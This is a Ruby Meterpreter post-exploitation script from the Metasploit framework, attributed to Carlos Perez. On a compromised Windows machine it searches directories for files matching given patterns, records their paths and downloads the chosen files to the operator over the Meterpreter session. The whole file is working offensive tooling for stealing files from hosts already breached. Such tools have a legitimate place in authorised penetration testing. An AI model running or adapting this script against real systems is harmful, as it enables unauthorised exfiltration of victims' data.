# $Id$
# $Revision$
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
#-------------------------------------------------------------------------------
@client = client
location = nil
search_blob = []
input_file = nil
output_file = nil
recurse = false
logs = nil
@opts = Rex::Parser::Arguments.new(
	"-h" => [false, "Help menu." ],
	"-i" => [true, "Input file with list of files to download, one per line."],
	"-d" => [true, "Directory to start search on, search will be recursive."],
	"-f" => [true, "Search blobs separated by a |."],
	"-o" => [true, "Output File to save the full path of files found."],
	"-r" => [false, "Search subdirectories."],
	"-l" => [true, "Location where to save the files."]
)
# Function for displaying help message
def usage
	print_line "Meterpreter Script for searching and downloading files that"
	print_line "match a specific pattern. First save files to a file, edit and"
	print_line("use that same file to download the choosen files.")
	print_line(@opts.usage)
	raise Rex::Script::Completed
end

# Check that we are running under the right type of Meterpreter
if client.platform =~ /win32|win64/
	# Parse the options
	if args.length > 0
		@opts.parse(args) { |opt, idx, val|
			case opt
			when "-h"
				usage
			when "-i"
				input_file = val
			when "-o"
				output_file = val
			when "-d"
				location = val
			when "-f"
				search_blob = val.split("|")
			when "-r"
				recurse = true
			when "-l"
				logs = val
			end
		}
		# Search for files and save their location if specified
		if search_blob.length > 0 and location
			search_blob.each do |s|
				print_status("Searching for #{s}")
				results = @client.fs.file.search(location,s,recurse)
				results.each do |file|
					print_status("\t#{file['path']}\\#{file['name']} (#{file['size']} bytes)")
					file_local_write(output_file,"#{file['path']}\\#{file['name']}") if output_file
				end
			end
		end
		# Read log file and download those files found
		if input_file and logs
			if ::File.exists?(input_file)
				print_status("Reading file #{input_file}")
				print_status("Downloading to #{logs}")
				::File.open(input_file, "r").each_line do |line|
					print_status("\tDownloading #{line.chomp}")
					@client.fs.file.download(logs, line.chomp)
				end
			else
				print_error("File #{input_file} does not exist!")
			end
		end
	else
		usage
	end
else
	print_error("This version of Meterpreter is not supported with this Script!")
	raise Rex::Script::Completed
end